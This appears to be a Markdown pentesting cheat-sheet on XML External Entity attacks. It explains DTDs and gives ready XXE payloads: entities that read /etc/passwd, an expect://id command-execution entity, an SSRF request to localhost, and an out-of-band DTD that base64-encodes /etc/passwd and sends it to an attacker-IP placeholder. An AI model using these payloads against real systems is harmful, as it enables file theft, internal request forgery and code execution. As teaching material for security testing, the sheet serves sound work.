143 lines
3.9 KiB
Markdown
143 lines
3.9 KiB
Markdown
# XML External Entity (XXE)
|
|
|
|
An XML External Entity (XXE) attack is a vulnerability that abuses features of
|
|
XML parsers/data. It often allows an attacker to interact with any backend or
|
|
external systems that the application itself can access and can allow the
|
|
attacker to read the file on that system. They can also cause Denial of Service
|
|
(DoS) attack or could use XXE to perform Server-Side Request Forgery (SSRF)
|
|
inducing the web application to make requests to other applications. XXE may
|
|
even enable port scanning and lead to remote code execution.
|
|
|
|
There are two types of XXE attacks: in-band and out-of-band (OOB-XXE).
|
|
|
|
1. An in-band XXE attack is the one in which the attacker can receive an
|
|
immediate response to the XXE payload.
|
|
2. out-of-band XXE attacks (also called blind XXE), there is no immediate
|
|
response from the web application and attacker has to reflect the output of
|
|
their XXE payload to some other file or their own server.
|
|
|
|
## Document Type Definition (DTD)
|
|
|
|
A DTD defines the structure and the legal elements and attributes of an XML document.
|
|
DTD are vulnerable depending on the parser used for parsing the enitities, e.g.
|
|
DOM parser.
|
|
|
|
Example file content of `note.dtd` is the following.
|
|
|
|
```xml
|
|
<!DOCTYPE note [
|
|
<!ELEMENT note (to,from,heading,body)>
|
|
<!ELEMENT to (#PCDATA)>
|
|
<!ELEMENT from (#PCDATA)>
|
|
<!ELEMENT heading (#PCDATA)>
|
|
<!ELEMENT body (#PCDATA)>
|
|
]>
|
|
```
|
|
|
|
* !DOCTYPE note - Defines a root element of the document named note
|
|
* !ELEMENT note - Defines that the note element must contain the elements: "to, from, heading, body"
|
|
* !ELEMENT to - Defines the `to` element to be of type "#PCDATA"
|
|
* !ELEMENT from - Defines the `from` element to be of type "#PCDATA"
|
|
* !ELEMENT heading - Defines the `heading` element to be of type "#PCDATA"
|
|
* !ELEMENT body - Defines the `body` element to be of type "#PCDATA"
|
|
|
|
NOTE: #PCDATA means parseable character data.
|
|
|
|
* Resulting XML doc follows
|
|
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE note SYSTEM "note.dtd">
|
|
<note>
|
|
<to>falcon</to>
|
|
<from>feast</from>
|
|
<heading>hacking</heading>
|
|
<body>XXE attack</body>
|
|
</note>
|
|
```
|
|
|
|
## Replacing XML content
|
|
|
|
Replace the name in the following example.
|
|
|
|
```xml
|
|
<!DOCTYPE replace [<!ENTITY name "feast"> ]>
|
|
<userInfo>
|
|
<firstName>falcon</firstName>
|
|
<lastName>&name;</lastName>
|
|
</userInfo>
|
|
```
|
|
|
|
System call inside entity in the following example.
|
|
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
|
|
<root>
|
|
<name>sdafsa</name>
|
|
<tel>789731421</tel>
|
|
<email>&xxe;</email>
|
|
<password>12345</password>
|
|
</root>
|
|
```
|
|
|
|
```xml
|
|
<?xml version="1.0"?>
|
|
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
|
|
<root>&read;</root>
|
|
```
|
|
|
|
PHP expect using syscalls looks like the following example.
|
|
|
|
```xml
|
|
<?xml version="1.0"?>
|
|
<!DOCTYPE foo [ <!ELEMENT foo ANY >
|
|
<!ENTITY xxe SYSTEM "expect://id" >]>
|
|
<root>
|
|
<email>&xxe;</email>
|
|
<password>12345</password>
|
|
</root>
|
|
```
|
|
|
|
An example of SSRF using XXE follows.
|
|
|
|
```xml
|
|
<?xml version="1.0"?>
|
|
<!DOCTYPE foo [
|
|
<!ELEMENT foo ANY >
|
|
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">
|
|
]>
|
|
<root>
|
|
<email>&xxe;</email>
|
|
<password>12345</password>
|
|
</root>
|
|
```
|
|
|
|
### Upload External DTD File
|
|
|
|
An external entity which is a reference to a DTD in another file can be
|
|
set as well to upload a payload indirectly.
|
|
|
|
```xml
|
|
<?xml version="1.0"?>
|
|
<!DOCTYPE upload SYSTEM 'http://example.com/external.dtd'>]>
|
|
<root>&exfil;</root>
|
|
```
|
|
|
|
The payload which would be resource `external.dtd` may look like the following example.
|
|
|
|
```xml
|
|
<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
|
|
<!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://$ATTACKER-IP/?res=%cmd;'>">
|
|
%oobxxe;
|
|
```
|
|
|
|
## Notes
|
|
|
|
Use URL/entity encoding for data that should be interpreted as a string literal
|
|
completely, e.g. `&` or `&`.
|
|
|
|
## Tools
|
|
|
|
* [Payload All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#classic-xxe)
|